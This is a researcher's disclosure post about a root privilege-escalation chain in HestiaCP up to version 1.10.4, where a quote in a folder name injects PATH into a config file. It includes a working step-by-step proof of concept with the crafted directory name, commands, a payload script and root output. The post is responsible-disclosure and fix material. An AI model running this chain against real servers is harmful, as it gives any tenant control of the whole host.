If you run a website, there’s a decent chance the server underneath it is managed by a control panel — something that turns “SSH in and edit nginx configs by hand” into a web dashboard where you create a domain, click a button, and it’s live. HestiaCP is one of the more popular open-source options for that: free, actively maintained, and used on a huge number of shared and VPS hosting boxes.
Which is exactly why it caught my attention. A control panel like this has one very specific job that makes it a great security research target: it deliberately gives low-privilege, unprivileged users a controlled way to do things that normally require root — create domains, manage DNS, issue SSL certs, restart services. All of that has to be brokered safely between “random signed-up user” and “root,” usually through a stack of shell scripts running under sudo.
Any crack in that broker, and a completely ordinary account — the kind anyone gets the moment they sign up, no admin rights, no special config — can walk straight through to root.
That’s exactly what I found. And the part that makes it sting is how little it took: a single quote character in a folder name.
TL;DR
Any standard “user”-role HestiaCP account can become root on the box, using nothing but features available to their own account — no admin interaction, no waiting on a cron job, no race condition, no social engineering. Just:
- Make a directory with a specially crafted name.
- Point your own domain’s document root at it (a normal, documented feature).
- Use your own account’s Search bar.
That’s it. Root shell.
The bug was reported through HestiaCP’s GitHub Security Advisory process, confirmed by the maintainers, and fixed in HestiaCP 1.10.5. It’s rated CVSS 9.9 Critical, and a CVE has been requested and is pending assignment. You can read the published advisory here: GHSA-r9q4-pmcm-5qqf.
How I found it
HestiaCP has had a genuinely good security year — several critical advisories landed in the months before I started looking, all fixed quickly and credited properly. That’s usually a sign a project is “over-audited” and not worth the time. But I’ve learned that a recent fix is sometimes more interesting than a clean history, because a patch tells you exactly what the maintainer was worried about — and exactly where they might have stopped one function short.
Two advisories stood out while I was reading through HestiaCP’s commit history:
- GHSA-cr7q (July 2026) removed a raw
evalfrom the panel’s search functionality and replaced it with a safer-looking parser function. - GHSA-xffx (August 2026) went further and added a reserved variable name blacklist to a config-parsing function called
source_conf()— specifically to stop an attacker from smuggling in variable names likePATHorLD_PRELOADthrough a config file.
That second one is the interesting bit. Whenever a fix adds a blacklist to one function, my first question is always: are there sibling functions that do the exact same thing and never got the same fix?
There were. HestiaCP’s core shell library, func/main.sh, has more than one function that reads a key='value' key='value' style config line and turns it back into live shell variables. source_conf() got the blacklist. Its two siblings — parse_object_kv_list_non_eval() and a PHP re-implementation, _parse_object_kv_list_php() — did not. Both still happily do the shell equivalent of “take whatever variable name is in this file and just declare it,” with only a check that the name looks like a valid identifier, never a check on which identifier it is.
That’s a real gap. But a gap only matters if an attacker can actually get a poisoned variable name into that config file in the first place. So I went looking for the write side.
The bug, in plain terms
The vulnerability is really two separate small mistakes that, chained together, add up to full root compromise.
Flaw #1 — the write side doesn’t escape single quotes
HestiaCP stores per-user data (domains, document roots, DNS zones, etc.) in flat config files that look like this:
DOMAIN='example.com' IP='203.0.113.10' CUSTOM_DOCROOT='/home/user/web/example.com/public_html' TPL='default' SUSPENDED='no'
Every field is wrapped in single quotes. When a script updates one field — say, when you change your custom document root — it goes through a function called update_object_value(). That function does escape a few dangerous characters in the new value before writing it: backslashes, ampersands, forward slashes. It does not escape single quotes.
That matters because v-change-web-domain-docroot — the script behind the panel’s “set a custom document root for my domain” feature — takes your input and passes it straight into that function with zero validation on its content. It only checks that the path you give it actually exists on disk and lives inside your own domain folder. It never checks what characters are in the name.
On Linux, a directory name can legally contain a single quote, a space, and an equals sign. Only / and the null byte are actually forbidden. So this is a perfectly ordinary, mkdir-able directory name:
foo' PATH='/tmp/evilbin
Set that as your custom document root, and the config writer dutifully writes it straight into your web.conf, unescaped:
DOMAIN='example.com' ... CUSTOM_DOCROOT='.../public_html/foo' PATH='/tmp/evilbin' TPL='default' ...
Look closely at what just happened. That single quote inside the folder name closed the CUSTOM_DOCROOT field early. Everything after it — PATH='/tmp/evilbin' — is no longer part of CUSTOM_DOCROOT. It’s now a brand new, independently named field, sitting in the config file looking exactly as legitimate as TPL or SUSPENDED right next to it.
I didn’t inject code. I didn’t break out of any sandbox. I just used a filename character the validator forgot to check for.
Flaw #2 — the read side re-parses that line and blindly declares every field it sees
That corrupted line just sits there until some other part of the panel reads it back. And plenty of scripts do — search, listing, cert renewal, cache management. They all eventually pass the line through parse_object_kv_list_non_eval(), which pulls out every key='value' pair it can find and does, in effect:
declare -g $obj_key="$obj_val"
for each one. The only check it runs is that $obj_key looks like a legal variable name (letters, digits, underscores). It never checks which name. There’s no blacklist for PATH, IFS, LD_PRELOAD, or anything else that a shell treats specially — the exact protection its sibling function source_conf() got three weeks earlier and this one didn’t.
So when that function encounters the corrupted line, it dutifully runs declare -g PATH=/tmp/evilbin — inside a script that is, at that exact moment, running as root.
The trigger — your own Search bar
Here’s the part that turns this from “theoretically bad” into “one click from any account”: the script that re-parses the corrupted line and clobbers PATH is v-search-user-object. It’s invoked by web/search/index.php — the code behind the panel’s ordinary Search feature — for every logged-in user searching their own data, no admin flag required. And like essentially every panel action in HestiaCP, it runs through a blanket, passwordless sudo rule (hestiaweb ALL=(ALL) NOPASSWD:/usr/local/hestia/bin/*), so it executes as root the instant you search.
A few lines later in that same script, after the PATH clobber has already taken effect, it calls an external command — column — without a full path:
column -t -s '~'
Normally that resolves column from a safe system directory. But the process’s PATH no longer points there. It points at /tmp/evilbin, because I just told it to. Drop an executable named column in that directory, and the moment the search runs, the root process resolves it from my folder and runs my code — as root.
No prompt. No confirmation. No delay. I search my own domain, and root code execution happens as a side effect.
Proof of concept
I confirmed this end-to-end against a real, freshly built HestiaCP v1.10.4 instance (built from the exact vulnerable source, commit 4048078), inside a disposable container, using only an unprivileged testuser account — no root access used at any point except the automatic escalation the bug itself causes.
Step 1 — plant the malicious directory, as a normal user:
DOCROOT_BASE="/home/testuser/web/example.test/public_html"
mkdir -p "$DOCROOT_BASE/foo' PATH='/tmp/pwned"
Step 2 — point the domain’s document root at it (exactly what the panel UI does):
v-change-web-domain-docroot testuser example.test example.test "foo' PATH='/tmp/pwned"
Checking the resulting web.conf confirmed the corruption exactly as predicted:
CUSTOM_DOCROOT='/home/testuser/web/example.test/public_html/foo' PATH='/tmp/pwned'
Step 3 — plant the payload where the hijacked PATH now points, still as testuser, zero root access:
mkdir -p /tmp/pwned
cat > /tmp/pwned/column <<'PAYLOAD'
#!/bin/bash
{ echo "PWNED: column executed as $(id) at $(date)"; id; } >> /tmp/PWNED_PROOF 2>&1
PAYLOAD
chmod +x /tmp/pwned/column
Step 4 — trigger my own account’s ordinary Search feature:
v-search-user-object testuser example.test shell
Result:
$ cat /tmp/PWNED_PROOF
PWNED: column executed as uid=0(root) gid=0(root) groups=0(root) at Tue Sep 8 17:37:09 UTC 2026
uid=0(root) gid=0(root) groups=0(root)
$ ls -la /tmp/PWNED_PROOF
-rw-r--r-- 1 root root 185 Sep 8 17:37 /tmp/PWNED_PROOF
A file created entirely by an unprivileged account, executed as uid=0, the instant that account used a completely ordinary feature of its own dashboard. As a bonus signal that the PATH hijack was total, several of the script’s own internal commands (grep, sed, tr) also briefly failed to resolve during the same run — independent confirmation that the process’s search path had genuinely been replaced, not just partially influenced.
I also built a smaller, standalone verification that extracts the two vulnerable functions verbatim from HestiaCP’s real source and exercises just the write-then-reparse mechanism in isolation, without needing a full panel install — useful for anyone who wants to sanity-check the core bug in about ten seconds:
Config line AFTER update:
DOMAIN='example.com' ... CUSTOM_DOCROOT='.../public_html/foo' PATH='/tmp/altbin' TPL='default' SUSPENDED='no'
[MATCH] single-quote in the new value was written through unescaped, splitting one field into two
PATH before re-parsing: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PATH after re-parsing: /tmp/altbin
[MATCH] parsing a single config line reassigned PATH in the calling shell
Both proofs — the live install and the isolated mechanism check — reproduced consistently across repeated runs.
Why this is Critical, not “just a local bug”
It’s easy to undersell privilege escalation bugs because they “need an account first.” Two things make this one different:
- The account requirement is trivial. This isn’t an admin-only bug or something that needs elevated permissions to begin with — it’s the exact access level every single signup gets, on a panel whose entire purpose is letting untrusted-ish customers manage their own hosting. On any shared-hosting box running HestiaCP, that’s every single tenant.
- The escalation is fully self-service and near-instant. No admin interaction, no waiting for a scheduled job, no race window to win. Create a folder, set a document root, search. Three steps, all standard, documented panel functionality.
That’s why the assigned CVSS vector reflects the worst case: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — network-reachable, low complexity, low privileges required, no user interaction needed, scope-changed (an unprivileged tenant account breaks out to control the entire host, not just their own resources), and full impact across confidentiality, integrity, and availability. That’s a 9.9 out of 10.
On a shared HestiaCP server, this isn’t “one account gets compromised.” It’s “any one paying customer can take over every other customer’s websites and data on that same box, plus the host operator’s own infrastructure.”
The fix
I proposed two complementary fixes, and HestiaCP shipped both in 1.10.5:
- Escape single quotes on write.
update_object_value()already escapes backslash, ampersand, and forward-slash before writing a new value into a config file — it just needs to add single quote to that list (or route the value through the project’s existing%quote%substitution pattern, which several other write paths already use). - Blacklist reserved variable names on read.
parse_object_kv_list_non_eval()and its PHP twin needed the same reserved-name check thatsource_conf()already received a few weeks earlier. This is the more durable fix, since it protects every current and future caller of those shared parsing functions — not just this one specific chain.
I flagged fix #2 as the one worth prioritizing, precisely because the first bug I found was a sibling of an already-patched one. If only the write-side escaping gets fixed, the next unescaped write path someone finds reopens the exact same door.
A quick word on responsible disclosure
I reported this privately through HestiaCP’s GitHub Security Advisory process (the channel their own SECURITY.md asks for), with a full technical writeup, working reproduction steps, and a suggested fix — not a public issue, not a tweet, not a blog post first. The maintainers reviewed it, confirmed it, and shipped a patch in 1.10.5 before any of this went public. This post, and the published advisory itself, only exist because that process ran its course. A CVE ID has been requested through GitHub and is pending assignment.
If you maintain open source and you’re reading this: thank you for taking security reports seriously and shipping a fix quickly. That’s not something to take for granted.
Lessons, for other researchers and maintainers alike
- A patch tells you where the maintainer was scared — and where they stopped.
source_conf()getting a reserved-variable blacklist was the whole tip. Two sibling functions doing the identical unsafe operation were sitting right next to it, untouched. - “It’s just a filename” is not a safe assumption. Filesystem paths routinely end up embedded in structured text (config files, logs, templates) without going through the same input validation as form fields. If your escaping logic handles slashes and ampersands but not quotes, and your data can contain quotes, you have exactly this bug shape.
- Chain two small bugs before giving up on either one. Neither flaw alone is very exciting. An unescaped write with no obvious reader is a shrug. An unguarded variable re-parse with no obvious attacker-controlled input is a shrug. Put them next to each other and you get root.
Patch status
- Vulnerable: HestiaCP ≤ 1.10.4
- Fixed: HestiaCP 1.10.5 — update now if you’re running an affected version.
- Advisory: GHSA-r9q4-pmcm-5qqf
- CVE: requested via GitHub, assignment pending
Disclosure timeline
- 2026-09-08 — Vulnerability identified and confirmed, working PoC built.
- 2026-09-08 — Reported privately through HestiaCP’s GitHub Security Advisory process, with a full technical writeup, reproduction steps, and a suggested fix.
- Maintainers reviewed, confirmed, and shipped a fix in HestiaCP 1.10.5.
- 2026-09-15 — Advisory published: GHSA-r9q4-pmcm-5qqf.
- 2026-09-15 — CVE requested via GitHub; assignment pending.
If you found this useful, I write about the bugs I find while hunting for CVEs in open-source software people actually run in production. Feel free to follow for more.
— Ravindu Lakmina Munaweera